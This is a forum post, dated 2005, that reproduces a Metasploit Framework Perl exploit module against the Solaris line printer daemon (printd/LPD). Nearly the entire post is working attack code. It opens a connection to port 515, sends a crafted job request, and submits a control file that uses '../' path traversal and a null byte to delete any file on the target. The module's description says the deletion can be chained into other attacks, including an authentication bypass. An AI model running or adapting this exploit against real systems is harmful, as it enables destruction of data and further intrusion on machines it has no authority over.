[exploit] Sun Solaris "printd" Daemon Remote Arbitrary File Deletion

[RemoteConnection 0]

### This file is part of the Metasploit Framework and may be redistributed# according to the licenses defined in the Authors field below. In the# case of an unknown or missing license, this file defaults to the same# license as the core Framework (dual GPLv2 and Artistic). The latest# version of the Framework can always be obtained from metasploit.com.##package Msf::Exploit::solaris_lpd_unlink;use base "Msf::Exploit";use IO::Socket;use IO::Select;use strict;use Pex::Text;my $advanced = { };my $info ={'Name' => 'Solaris LPD Arbitrary File Delete','Version' => '$Revision: 1.6 $','Authors' =>['H D Moore <hdm [at] metasploit.com>','Optyx <optyx [at] uberhax0r.net>'],'Arch' => [ ],'OS' => [ 'solaris' ],'UserOpts' =>{'RHOST' => [1, 'ADDR', 'The target address'],'RPORT' => [1, 'PORT', 'The LPD server port', 515],'RPATH' => [1, 'DATA', 'The remote path name to delete'],},'Description' => Pex::Text::Freeform(qq{This module uses a vulnerability in the Solaris line printer daemonto delete arbitrary files on an affected system. This can be used to exploitthe rpc.walld format string flaw, the missing krb5.conf authentication bypass,or simple delete system files. Tested on Solaris 2.6, 7, 8, 9, and 10. }),'Refs' =>[['URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-101842-1'],],'DefaultTarget' => 0,'Targets' => [['No Target Needed']],'Keys' => ['lpd'],};sub new {my $class = shift;my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);return($self);}sub Exploit {my $self = shift;my $target_host = $self->GetVar('RHOST');my $target_port = $self->GetVar('RPORT');my $target_path = $self->GetVar('RPATH');my $res;# We use one connection to configure the spool directorymy $s = Msf::Socket::Tcp->new('PeerAddr' => $target_host,'PeerPort' => $target_port,'LocalPort' => $self->GetVar('CPORT'),'SSL' => $self->GetVar('SSL'),);if ($s->IsError) {$self->PrintLine('[*] Error creating socket: ' . $s->GetError);return;}# Send a job request that will trigger the cascade adaptor (thanks Dino!)$s->Send("\x02"."metasploit:framework\n");$res = $s->Recv(1, 5);if (ord($res) != 0) {$self->PrintLine("[*] The target did not accept our job request command");return;}# The job ID is squashed down to three decimal digitsmy $jid = ($$ % 1000).unpack("H*",pack('N', time() + $$));# Create a simple control file...my $control = "Hmetasploit\nPr00t\n";# Theoretically, we could delete multiple files at once, however# the lp daemon will append garbage from memory to the path name# if we don't stick a null byte after the path. Unfortunately, this# null byte will prevent the parser from processing the other paths.$control .= "U".("../" x 10)."$target_path\x00\n";my $dataf = "http://metasploit.com/\n";$self->PrintLine("[*] Sending the malicious cascaded job request...");if ( ! $self->SendFile($s, 2, "cfA".$jid."metasploit", $control) ||! $self->SendFile($s, 3, "dfa".$jid."metasploit", $dataf) ||0) { $s->Close; return }$self->PrintLine('');$self->PrintLine("[*] Successfully deleted $target_path >:-]");return;}sub SendFile {my $self = shift;my $sock = shift;my $type = shift;my $name = shift;my $data = shift;$sock->Send(chr($type) .length($data). " $name\n");my $res = $sock->Recv(1, 5);if (ord($res) != 0) {$self->PrintLine("[*] The target did not accept our control file command ($name)");return;}$sock->Send($data);$sock->Send("\x00");$res = $sock->Recv(1, 5);if (ord($res) != 0) {$self->PrintLine("[*] The target did not accept our control file data ($name)");return;}$self->PrintLine(sprintf("[*] Uploaded %.4d bytes >> $name", length($data)));return 1;}1;

Notice from cmatcmextra:

Use codebox tags for long lines of code

Edited September 1, 2005 by cmatcmextra (see edit history)